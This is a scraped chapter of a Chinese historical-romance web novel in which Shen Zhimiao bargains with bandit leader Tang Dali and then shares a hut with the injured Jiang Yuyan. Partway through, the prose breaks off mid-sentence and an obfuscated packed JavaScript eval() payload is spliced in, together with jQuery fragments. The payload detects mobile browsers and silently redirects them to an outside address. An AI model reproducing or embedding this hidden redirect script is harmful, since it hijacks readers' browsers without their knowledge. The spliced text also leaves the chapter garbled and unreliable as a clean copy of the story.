默认冷灰
24号文字
方正启体

14. 第 14 章

作者:惟其是本书字数:K更新时间:
    许是这话到底说的腻歪了点,沈之渺大脑宕机盯着男人良久,都没吐露出半个字,她长睫轻颤,表情困惑。


    “沈姑娘,多有得罪。”


    不等有所反应,下一秒,男人的俊脸在她面前放大数倍,沈之渺下意识仰头,却被人扣住脖颈拽了回去。


    她气息紊乱看着面前。


    只见江予宴一只手托着她的脸,最终将这吻落在拇指之上。


    沈之渺有一瞬间恍惚,就听他说道:“你手里是太子调令,此地离部队不远。”


    “沈姑娘,当初逃离城主府我并不知你用的是何方法,但若没我拖累,你独自一人定能逃出。”


    沈之渺这下明白了,他这是要牺牲自己缠住盗匪,让她去搬救兵。


    说话间,男人衣摆中下骨节分明的五指钻入指缝,本来普通的牵手变成了十指相扣,一个硬硬的物体交托在她手里,沈之渺敛眸藏进袖中。


    “你准备怎么办?”她同样低声问道。


    江予宴侧目抿唇,瞧见她眼里闪过一丝担忧,倏尔唇角勾了下,“我答应过你,我会选你,就不会食言。”


    轻飘飘的话荡在耳边,却让沈之渺的心无比沉重。毕竟如果遇到这种情况,若不是江予宴身份特殊,她绝对头也不回撂下人直接跑。


    身下马儿摇头走动,男人身形本就比她要高大许多,此刻一只手锢住她的腰身,另一只手牵着缰绳,从正面望去,像极了丈夫护住腹中胎儿安全,还在同妻子吻别。


    这番郎情妾意的场面落在堂大力眼中,变得十分碍眼,“江予宴,你当初杀我寨中儿郎,可有想过他们也有妻女老小?”


    江予宴眸色一凛,“你寨中之人干的都是烧杀抢掠,强占民女之恶,那群女子恨不得扒了你们的皮,又岂会有所留恋?”


    堂大力面色铁青,其他手下此刻也蠢蠢欲动,恨不得现在上去就扒了江予宴的皮,但他们同时也很清楚,江予宴活着利用价值更大。


    他们最终选择放了沈之渺。


    一个个五大三粗的男人让出一条小路,沈之渺抱着包裹怯生生从中间穿过,她目光掠过,只见不少人手提的环首刀牙上血迹早已凝固,即使有了领头人的命令,却还是有些不安分的泼皮故意一惊一乍吓她,渴望从她的反应中瞧出恐惧。


    他们以此为乐。


    她却为此感到厌烦。


    沈之渺讨厌生命在她面前死去。


    但更讨厌的,是被当作玩物一样欣赏。


    “那个……堂大力是吧?”


    听到这话,在场之人皆是一愣。


    众人见刚刚还小女儿状瑟瑟发抖的女人此刻模样大变,她身量直挺,目若利刃,眼底弥漫着厌烦,无形中,也将压迫催发到了顶点。


    堂大力似是不可置信,“你说什么?”


    沈之渺朝他勾了勾手指。


    一名手下提议:“老大,小心有诈!”


    堂大力直接踢了一脚,那人翻到地上掀起尘埃,“一个弱女子能翻出什么花儿来?”


    沈之渺等他凑近些问,“江予宴干了什么事儿?”


    堂大力木讷回应,“他带官兵灭了我的寨子。”


    沈之渺点头,“江予宴杀了你的弟兄,你惦记着为他们报仇,说明你是一个有情有义之人。”


    堂大力点头。


    沈之渺继续道:“而能一路追杀江予宴到这地方,说明你是一个锲而不舍,有毅力之人。”


    堂大力再点。


    沈之渺语气高昂,“那现在有一个东山再起的机会摆在你面前,你要不要?!”


    堂大力此刻情绪已经被调动,下意识说出“我要”后,这才后悔着了沈之渺的道。


    一场夜露追逐在交谈中悄然消灭,沈之渺有故意引导的嫌疑,但堂大力也未必不能思考。


    趁着一群人围在一团讨论之际,江予宴捉住她的柔荑,湿润黏腻之感从手腕一路传来,沈之渺抬眸,少见的从他眉眼中看见了怒意。


    但最终,他只叹了口气,“我早该料到的。”


    沈之渺语气平淡,“你若死了,我在这个世界活着也没什么意思。”


    一股异样感觉从心底产生,密密麻麻遍布四肢,江予宴凝望着她,打从二人喻府夜雨相遇至今,沈之渺做的每一件事,都在出乎他的意料。


    就连刚刚说过的这话,纵使江予宴在京中贵女口中听过数次,可不知为何,只要是沈之渺说的,他都深信不疑。


    二人最终被押回了清风寨新的营地。


    你追我赶了整整一夜,堂大力疲惫不堪,抵达新的营寨后他寻了一处茅草屋,命人将江予宴独自带去,自己便领着沈之渺去了主厅商议后续之际。


    大门砰的一声紧闭,将草屋与外界彻底隔绝,屋内并无照明之物,江予宴站在窗前,月光陈华,光糜浮动,将他身影拉得斜长,背影无尽孤寂。


    晨曦从东边冒出红尖,鸡鸣三次,屋外铁链撬动,等沈之渺被人引到屋内前,推开门,看到的就是这样一副画面。


    江予宴此时坐在床边只穿中衣,右肩袒露,似在上药,在微弱光源下,是男人充满张力又饱含力量的身躯,而存在墨发之下的那张脸,纵使男人因疼痛眉头紧锁,丝毫不影响他面庞俊美神性。


    此情此景,饶是有人说面前男人是谪仙,倒也不足为奇。


    “你怎会来此?嘶……”江予宴慌乱将衣物套在身上,却不小心将伤口扯开,他顿时疼得倒吸一口凉气。


    沈之渺见他手足无措拼命遮盖身体,一个没忍住直接笑出声,“你忘了,我可是你的妻子?”


    于是逗弄心起,沈之渺一只手轻轻落在男人肩膀上,声音妩媚动人,“夫君,此时天色尚早,春宵一刻值千金,莫要耽误良辰吉时!”


    少女指腹柔软细腻,此刻若有若无剐蹭着他的皮肤,带来一阵酥麻痒意,江予宴一把攥住女人的手,目光犀利,“沈之渺,不要闹。”


    他鲜少完完整整叫她全名,更何况全名在大多数情况下代表生气,就像小的时候,母亲瞧见她犯错,也会这样冲着她怒吼。


    尤其是此刻一只手被禁锢的情况下,压迫感更强了,沈之渺瞬间起了一身鸡皮疙瘩,她用力抽回手,切了声。


    见女子离自己远了,江予宴这才将长袍完完整整套在身上,确认没有任何礼仪不对后,他问:“堂大力刚刚都同你说了什么?”


    沈之渺简述回答:“关于他为何在此处安营扎寨。”


    “那结果呢?”


    “有问题。”沈之渺说得斩钉截铁,“而且问题还不止一点。”


    提及此事,她神情比以往要认真,“我记得你说过,你曾是在雾峰擒获的这群人,他们原是山匪,山匪变水匪,为什么?”


    “雾峰早在上次便被我完


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309883|198782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    全封禁,但他们想要东山再起,雾峰,依旧首选无疑。”


    早在运河上碰见这群人,江予宴就在思考,究竟能是什么原因,才会让一群盗匪离开熟悉环境,被迫去干别的事。


    江予宴沉吟片刻,缓缓开口:“或许,有一股另外的势力将他们从地上驱逐,他们不得已,才打起河运的念头。”


    语毕,男人朝沈之渺看去,发现她也在看自己,一双眼眸亮晶晶的,俨然也是想到这一点。


    沈之渺勾唇,将堂大力刚刚回答说了一遍,无非是什么此地易守难攻,往来便利这种俗话。


    但具体条件如何,也得这几日在寨中走动才能得知。


    将事情解释清楚,沈之渺顿时如释重负,将担子卸下,一袭疲惫感直上心头,她走到床前目无旁人宽衣解带准备睡觉。


    江予宴瞬间用袖子遮住视线,“你在做什么?”


    沈之渺一脸无辜,“我要睡觉啊。”


    江予宴背过身去闭上眼,问:“你可明白,我是男子?”


    “我知道。”


    沈之渺声音无比坦然,她脱下鞋子大衣,一举跃进木板床内侧,“所以我给你留了一半。”


    江予宴心中气急,既然明白男女授受不亲,又岂能睡在同一张床上?


    可沈之渺熬了大夜,如今瞌睡上头,也顾不得别的,她身子躺下,又将被子盖在身上,闭上眼絮絮叨叨,“你放心,刚刚我只是在逗你,你现在身上有伤,我不会对你做不好的事。”


    “即使没伤,你也不该如此!”江予宴话说声一板一眼,像极了学堂中的老学究,他站起身,环顾四周颇为为难说道:“我毕竟是男子,倒是能吃些苦,今日我睡地上就好。”


    沈之渺宽容地睁开一只眼,看见男人倔强的背影后耐着性子又道:“没事儿,我不介意的,你赶紧上来休息。”


    “可是我介意。”


    江予宴此刻脸上染了薄怒,说话语气也快了不少,“男女之别,你的名声我必须考虑。”


    男女之别?


    沈之渺心中冷嗤,是谁当初拉着她逃跑时说她是他的妻子,现在又开始考虑名声了?


    但这话到底没说出口。


    沈之渺看了眼床下,悻悻道:“我的意思是……”


    “你闭嘴!”


    到底是个老古板!见他始终油盐不进,沈之渺被子一捂,彻底不劝。


    细细簌簌声音传来,迷迷糊糊间,沈之渺脑海中浮现出男人弯腰打铺盖的画面。


    房间很快再度陷入一片沉寂。


    没过多久,一道阴影在她头顶覆盖,她眼都没睁,一把掀开被褥,感受到男人坐在一旁,她这才解释:“我刚刚想说的是,这屋里有蟑螂,睡地上不安全。”


    上辈子享誉大江南北的双马尾小虫,沈之渺这辈子再见,只一眼,也时常觉得瘆得慌。


    江予宴终是认命躺了下来,可他内心始终男女有别,轻手轻脚将被子盖在自己腰侧,久久不曾入眠。


    直到身旁传来均匀呼吸声,他偏头,发现沈之渺早已安然入睡。


    二人中间留有一丈宽的距离,此刻只有他夜不能寐。


    一股无名窝火在心底产生,想到今日说下的“她是他妻”言论,江予宴最后一咬牙,直接将身体尽数放在床上。


    二人关系不能被堂大力发现。


    他这样劝自己。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)